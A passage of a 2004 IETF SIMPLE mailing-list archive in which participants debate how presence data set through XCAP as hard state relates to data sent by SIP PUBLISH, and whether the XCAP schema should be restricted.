References: <E392EEA75EC5F54AB75229B693B1B6A707E7A396@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A396@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 10:15:01 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

Markus.Isomaki@nokia.com wrote:


> Tuple ids have no significance beyond the scope of a single PIDF
> document, so what you describe above is not exactly how this would
> work. However, you can PUBLISH an "identical" tuple from your cell
> phone (what identical means may actually not be so clear...) to what
> you manipulated earlier using XCAP.
> 
> 
>> So here is my cell phons status from each entity's point of view: 
>> 1) The XCAP server has my cell phone turned OFF in its storage. 2)
>> My presence status has my cell phone turned ON.
>> 
> 
> 
> OK.
> 
> 
>> Is that the way it should behave?
> 
> 
> Yes, it is now upto the composer to decide how to combine the two
> sources of presence information. Admittedly this is problematic if
> there is conflicting information. Typically the information obtained
> via SIP PUBLISH would override the information given by XCAP.
> However, there's no way to distinguish between two SIP PUBLISHes.
> 
> Currently SIMPLE has not defined anything about the composer, and it
> is not upto the pidf-manipulation XCAP usage to do so either.

The presence authorization policies are meant to control this. In the 
proposal I sent out to the list last week, a user could use the policies 
to select between two different tuples, based on the class attribute.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 16 10:20:10 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05788
	for <simple-archive@odin.ietf.org>; Tue, 16 Mar 2004 10:20:10 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3GM3-0006Mq-RE
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 10:19:43 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2GFJh6Z024470
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 10:19:43 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3GM3-0006Mb-Jd
	for simple-web-archive@optimus.ietf.org; Tue, 16 Mar 2004 10:19:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05725
	for <simple-web-archive@ietf.org>; Tue, 16 Mar 2004 10:19:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GM1-0004Rz-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 10:19:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3GL7-0004O3-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 10:18:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GKO-0004KX-00; Tue, 16 Mar 2004 10:18:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3GKP-0005sz-9y; Tue, 16 Mar 2004 10:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3GK7-0005mu-S1
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 10:17:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05530
	for <simple@ietf.org>; Tue, 16 Mar 2004 10:17:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GK5-0004Ir-00
	for simple@ietf.org; Tue, 16 Mar 2004 10:17:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3GJ8-0004Dw-00
	for simple@ietf.org; Tue, 16 Mar 2004 10:16:42 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GIB-00046f-00
	for simple@ietf.org; Tue, 16 Mar 2004 10:15:43 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GFFINr019303;
	Tue, 16 Mar 2004 10:15:19 -0500 (EST)
Message-ID: <405719F5.1010705@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: george.foti@ericsson.com, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A396@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A396@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 10:15:01 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

Markus.Isomaki@nokia.com wrote:


> Tuple ids have no significance beyond the scope of a single PIDF
> document, so what you describe above is not exactly how this would
> work. However, you can PUBLISH an "identical" tuple from your cell
> phone (what identical means may actually not be so clear...) to what
> you manipulated earlier using XCAP.
> 
> 
>> So here is my cell phons status from each entity's point of view: 
>> 1) The XCAP server has my cell phone turned OFF in its storage. 2)
>> My presence status has my cell phone turned ON.
>> 
> 
> 
> OK.
> 
> 
>> Is that the way it should behave?
> 
> 
> Yes, it is now upto the composer to decide how to combine the two
> sources of presence information. Admittedly this is problematic if
> there is conflicting information. Typically the information obtained
> via SIP PUBLISH would override the information given by XCAP.
> However, there's no way to distinguish between two SIP PUBLISHes.
> 
> Currently SIMPLE has not defined anything about the composer, and it
> is not upto the pidf-manipulation XCAP usage to do so either.

The presence authorization policies are meant to control this. In the 
proposal I sent out to the list last week, a user could use the policies 
to select between two different tuples, based on the class attribute.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 16 12:56:47 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13934
	for <simple-archive@ietf.org>; Tue, 16 Mar 2004 12:56:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Io6-00050h-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 12:56:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3In8-0004wI-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 12:55:51 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3ImN-0004sP-00; Tue, 16 Mar 2004 12:55:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3ImM-0005CF-5U; Tue, 16 Mar 2004 12:55:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3ImC-0005Bm-L6
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 12:54:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13883
	for <simple@ietf.org>; Tue, 16 Mar 2004 12:54:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3ImA-0004rF-00
	for simple@ietf.org; Tue, 16 Mar 2004 12:54:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3IlE-0004nN-00
	for simple@ietf.org; Tue, 16 Mar 2004 12:53:53 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3IkS-0004dT-00
	for simple@ietf.org; Tue, 16 Mar 2004 12:53:05 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GHqiNr019397;
	Tue, 16 Mar 2004 12:52:44 -0500 (EST)
Message-ID: <40573EE0.5050900@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C962C@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C962C@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 12:52:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



George Foti (QA/EMC) wrote:

> Hi Markus,
> 
> Comments inline /gf
> 
> 
>>> So here is my cell phons status from each entity's point of view:
>>>  1) The XCAP server has my cell phone turned OFF in its storage.
>>>  2) My presence status has my cell phone turned ON.
>>> 
>> 
>> OK.
> 
> 
> This is extremely confusing for your average user, who would see
> through XCAP (through a normal document reading), that his phone is
> off, while his presence application should have set it on (and it did
> indeed).

Its only confusing if the UI couches this as "this is your presence 
status". Thats NOT what it is. Its "this is your DEFAULT information 
separate from anything your phone, PC, etc. will say". Indeed, it may 
never even look like that. It could be that a UI only allows a user to 
do something like set an indicator of whether they are on vacation, and 
this uses xcap in the back-end.

> 
> 
>>> Is that the way it should behave?
>> 
>> Yes, it is now upto the composer to decide how to combine the two
>> sources of presence information. Admittedly this is problematic if
>> there is conflicting information. Typically the information
>> obtained via SIP PUBLISH would override the information given by
>> XCAP. However, there's no way to distinguish between two SIP
>> PUBLISHes.
>> 
> 
> 
> Well let me say that there is no magic way to combine conflicting
> information. The potential of conflicting information originating
> from different between PUA using SIP PUBLISH, mostly generated by
> applications as opposed to human intervention, is much less likely,
> then with using XCAP, where human intervention is needed.

Why? PUBLISH can also contain user-generated information. I don't see 
how the protocol changes the possibility for conflict.

> 
> I cant imagine that anybody can implement the draft, as currently
> defined, as the example demonstrates the potential problems it can
> creates.

I'm still not sure I understand the problem. I thought you were 
concerned that the draft just wasnt clear enough on whether or not you 
manipulate hard or soft state. That can be fixed by wording. Now I think 
you are saying that this architectural approach is wrong. I don't 
understand that still.


> I dont question the need for a user to set hard states. But
> using XCAP as currenly defined, (i.e wide open for anything) for that
> purpose opens a pandora box that I'd rather avoid.

So, what would you want to restrict?

> 
> Indeed, that draft allows me to set everything using XCAP.

Everything in a presence document, yes.

> I dont
> need to have any presence application in my different clients. I can
> simply use XCAP. Of course, I dont get the benifits of PUBLISH. But
> so what.

PUBLISH is for soft-state data. It is explicitly design to allow 
multiple clients to set data, and has etag facilities for managing that. 
because it uses sip routing, it can be used by applications outside of a 
user's home network and use sip routing to get to the right place.

XCAP is for managing the provisioned aspects of my presence data - my 
'default' presence document if you will. There is only ONE such presence 
document that is managed. Multiple clients can edit it, but its one 
document. Its hard state and NEVER expires. That makes it unsuitable for 
most of the states set by phones and other devices which need to expire.

So, though there is clearly a fine line, there are intended differences.

Are you suggesting abandoning PUBLISH? Or just changing the schema to 
restrict what you can set with xcap?

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 16 12:57:20 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13968
	for <simple-archive@odin.ietf.org>; Tue, 16 Mar 2004 12:57:20 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Io9-0005J1-G1
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 12:56:53 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2GHur4v020395
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 12:56:53 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Io9-0005Is-2V
	for simple-web-archive@optimus.ietf.org; Tue, 16 Mar 2004 12:56:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13948
	for <simple-web-archive@ietf.org>; Tue, 16 Mar 2004 12:56:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Io7-00050m-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 12:56:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3In9-0004wP-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 12:55:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3ImN-0004sP-00; Tue, 16 Mar 2004 12:55:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3ImM-0005CF-5U; Tue, 16 Mar 2004 12:55:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3ImC-0005Bm-L6
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 12:54:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13883
	for <simple@ietf.org>; Tue, 16 Mar 2004 12:54:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3ImA-0004rF-00
	for simple@ietf.org; Tue, 16 Mar 2004 12:54:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3IlE-0004nN-00
	for simple@ietf.org; Tue, 16 Mar 2004 12:53:53 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3IkS-0004dT-00
	for simple@ietf.org; Tue, 16 Mar 2004 12:53:05 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GHqiNr019397;
	Tue, 16 Mar 2004 12:52:44 -0500 (EST)
Message-ID: <40573EE0.5050900@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C962C@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C962C@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 12:52:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



George Foti (QA/EMC) wrote:

> Hi Markus,
> 
> Comments inline /gf
> 
> 
>>> So here is my cell phons status from each entity's point of view:
>>>  1) The XCAP server has my cell phone turned OFF in its storage.
>>>  2) My presence status has my cell phone turned ON.
>>> 
>> 
>> OK.
> 
> 
> This is extremely confusing for your average user, who would see
> through XCAP (through a normal document reading), that his phone is
> off, while his presence application should have set it on (and it did
> indeed).

Its only confusing if the UI couches this as "this is your presence 
status". Thats NOT what it is. Its "this is your DEFAULT information 
separate from anything your phone, PC, etc. will say". Indeed, it may 
never even look like that. It could be that a UI only allows a user to 
do something like set an indicator of whether they are on vacation, and 
this uses xcap in the back-end.

> 
> 
>>> Is that the way it should behave?
>> 
>> Yes, it is now upto the composer to decide how to combine the two
>> sources of presence information. Admittedly this is problematic if
>> there is conflicting information. Typically the information
>> obtained via SIP PUBLISH would override the information given by
>> XCAP. However, there's no way to distinguish between two SIP
>> PUBLISHes.
>> 
> 
> 
> Well let me say that there is no magic way to combine conflicting
> information. The potential of conflicting information originating
> from different between PUA using SIP PUBLISH, mostly generated by
> applications as opposed to human intervention, is much less likely,
> then with using XCAP, where human intervention is needed.

Why? PUBLISH can also contain user-generated information. I don't see 
how the protocol changes the possibility for conflict.

> 
> I cant imagine that anybody can implement the draft, as currently
> defined, as the example demonstrates the potential problems it can
> creates.

I'm still not sure I understand the problem. I thought you were 
concerned that the draft just wasnt clear enough on whether or not you 
manipulate hard or soft state. That can be fixed by wording. Now I think 
you are saying that this architectural approach is wrong. I don't 
understand that still.


> I dont question the need for a user to set hard states. But
> using XCAP as currenly defined, (i.e wide open for anything) for that
> purpose opens a pandora box that I'd rather avoid.

So, what would you want to restrict?

> 
> Indeed, that draft allows me to set everything using XCAP.

Everything in a presence document, yes.

> I dont
> need to have any presence application in my different clients. I can
> simply use XCAP. Of course, I dont get the benifits of PUBLISH. But
> so what.

PUBLISH is for soft-state data. It is explicitly design to allow 
multiple clients to set data, and has etag facilities for managing that. 
because it uses sip routing, it can be used by applications outside of a 
user's home network and use sip routing to get to the right place.

XCAP is for managing the provisioned aspects of my presence data - my 
'default' presence document if you will. There is only ONE such presence 
document that is managed. Multiple clients can edit it, but its one 
document. Its hard state and NEVER expires. That makes it unsuitable for 
most of the states set by phones and other devices which need to expire.

So, though there is clearly a fine line, there are intended differences.

Are you suggesting abandoning PUBLISH? Or just changing the schema to 
restrict what you can set with xcap?

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 16 13:12:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14550
	for <simple-archive@ietf.org>; Tue, 16 Mar 2004 13:12:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J3Y-0006Jh-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 13:12:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3J2e-0006FJ-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 13:11:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J1r-0006BG-00; Tue, 16 Mar 2004 13:11:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3J1p-0006CW-Ua; Tue, 16 Mar 2004 13:11:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3J1c-0006Bd-F4
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 13:10:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14465
	for <simple@ietf.org>; Tue, 16 Mar 2004 13:10:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J1a-00069x-00
	for simple@ietf.org; Tue, 16 Mar 2004 13:10:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3J0f-00065s-00
	for simple@ietf.org; Tue, 16 Mar 2004 13:09:50 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3J05-0005xp-00
	for simple@ietf.org; Tue, 16 Mar 2004 13:09:13 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i2GI8ZLc029210
	for <simple@ietf.org>; Tue, 16 Mar 2004 12:08:35 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 16 Mar 2004 12:06:39 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <HCBRWLNH>; Tue, 16 Mar 2004 12:07:26 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C9631@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain
X-OriginalArrivalTime: 16 Mar 2004 18:06:39.0812 (UTC) FILETIME=[6E0B0840:01C40B81]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 12:07:03 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

> Are you suggesting abandoning PUBLISH? Or just changing the schema to 
> restrict what you can set with xcap?

I would like to change the schema to restrict what you can set with XCAP.
That way we minimize the potential misue of XCAP, both by implementors and/or end users
PUBLISH is OK. I see no problems with it.
The architecture is Ok as well. We need a way to set hard states.

Thnx/gf

> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 16 13:13:18 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14582
	for <simple-archive@odin.ietf.org>; Tue, 16 Mar 2004 13:13:17 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3J3b-0006J1-Uh
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 13:12:52 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2GICpTX024236
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 13:12:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3J3b-0006Ip-L6
	for simple-web-archive@optimus.ietf.org; Tue, 16 Mar 2004 13:12:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
